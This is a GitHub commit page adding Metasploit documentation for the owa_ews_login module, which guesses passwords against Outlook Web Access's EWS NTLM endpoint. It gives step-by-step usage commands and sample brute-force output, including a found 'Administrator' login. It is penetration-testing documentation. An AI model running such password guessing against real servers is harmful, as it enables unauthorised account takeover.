Skip to content

Commit f35fdfc

Browse files
author
Brent Cook
committed
Added documentation for auxiliary/scanner/http/owa_ews_login
1 parent 1d4b0de commit f35fdfc

File tree

1 file changed

+23
-0
lines changed

1 file changed

+23
-0
lines changed
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/owa_ews_login```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Set TARGETURI if necessary.
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf auxiliary(owa_ews_login) > run
14+
15+
[+] Found NTLM service at /ews/ for domain OWAMSF.
16+
[+] OWA_EWS - Successful login: Administrator:monkey
17+
[-] OWA_EWS - Failed login: root:
18+
[-] OWA_EWS - Failed login: admin:
19+
[-] OWA_EWS - Failed login: guest:
20+
[-] OWA_EWS - Failed login: root:root
21+
[-] OWA_EWS - Failed login: root:password
22+
[-] OWA_EWS - Failed login: root:1234
23+
```

0 commit comments

Comments
 (0)